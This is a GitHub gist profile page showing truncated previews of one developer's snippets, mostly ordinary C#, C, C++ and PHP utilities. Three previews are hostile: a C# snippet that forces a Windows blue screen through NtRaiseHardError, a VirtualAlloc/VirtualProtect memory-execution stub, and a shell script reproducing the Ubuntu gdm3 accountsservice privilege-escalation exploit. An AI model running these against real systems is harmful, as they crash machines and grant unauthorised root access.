Skip to content

Instantly share code, notes, and snippets.

View Unknown6656's full-sized avatar
☣️
cat /dev/urandom > /dev/brain

Unknown6656 Unknown6656

☣️
cat /dev/urandom > /dev/brain
View GitHub Profile
@Unknown6656
Unknown6656 / test.php
Last active November 13, 2017 09:29
just a minor test
<!--
We will assume that our database has a table, which looks as follows:
| ID | Name | Age | Address |
|¯¯¯¯|¯¯¯¯¯¯|¯¯¯¯¯|¯¯¯¯¯¯¯¯¯|
| .. | .. | ... | ... |
-->
<?php
@Unknown6656
Unknown6656 / hexdump.cs
Created February 7, 2018 23:21
A C# function to hex-dump a given byte array
/// <summary>
/// Dumps the given byte array as hexadecimal text viewer
/// </summary>
/// <param name="value">Byte array to be dumped</param>
public static void HexDump(this byte[] value)
{
if ((value?.Length ?? 0) == 0)
return;
@Unknown6656
Unknown6656 / single-linked-list.c
Last active April 1, 2018 08:05
Einfach verkette Liste in C
#include <stdlib.h>
#define null 0
#define true 1
#define false 0
// Der Typ des gespeicherten Wertes
#define valuetype unsigned int
// ein Listenknoten
@Unknown6656
Unknown6656 / HardError.cs
Created January 11, 2019 16:04
Generates a BSoD on Win32- and a kernel-panic on UNIX-Systems
using using System.Runtime.InteropServices;
public static unsafe class HardError
{
[DllImport("ntdll.dll")]
private static extern int RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool _);
[DllImport("ntdll.dll")]
private static extern int NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, void* Parameters, uint ValidResponseOption, out uint _);
using System.Runtime.InteropServices;
using System;
public static unsafe class Program
{
[DllImport("kernel32.dll")]
private static extern void* VirtualAlloc(void* addr, int size, int type, int protect);
[DllImport("kernel32.dll")]
private static extern bool VirtualProtect(void* addr, int size, int new_protect, int* old_protect);
[DllImport("kernel32.dll")]
using System;
namespace BlackScholes
{
public enum OptionType { Put, Call }
public static class BlackSholes
{
/* The Black and Scholes (1973) Stock option formula
* C# Implementation
#!/bin/sh
# https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE
cd ~
PAM=~/.pam_environment
if [ -f "$PAM" ]; then
mv "$PAM" "$PAM~backup"
fi
ln -s /dev/zero "$PAM"
echo "PLEASE GO TO 'Settings > Region & Language' AND TRY CHANGING THE LANGUAGE."
echo "THE UI WILL FREEZE. YOUR CPU MIGHT GET ANGRY. IGNORE BOTH. GO BACK TO THIS TERMINAL."
@Unknown6656
Unknown6656 / CPP_IS_FUCKING_RETARDED.hpp
Last active February 27, 2022 21:17
CPP IS FUCKING RETARDED
// Use this include if you have a class with const members and have
// trouble using the assign or copy constructor. Thank me later.
//
// Example:
// class A {
// const int X, Y;
//
// A() : A(0, 0) { }
// A(int x, int y) : X(x), Y(y) { }
//
@Unknown6656
Unknown6656 / csproj-template.csproj
Last active November 30, 2023 12:00
Template for C# .NET6 project files
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net8.0</TargetFramework>
<LangVersion>preview</LangVersion>
<EnablePreviewFeatures>True</EnablePreviewFeatures>
<!-- <GenerateRequiresPreviewFeaturesAttribute>False</GenerateRequiresPreviewFeaturesAttribute> -->
<Nullable>enable</Nullable>
<NullableContextOptions>enable</NullableContextOptions>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
@Unknown6656
Unknown6656 / init_block.cpp
Last active February 27, 2022 21:17
An initializer block for constant fields, variables, and members
namespace unknown6656___init_block
{
struct __empty {};
template <class F>
inline decltype(auto) operator+(__empty, F&& f) noexcept
{
return std::forward<F>(f)();
}
}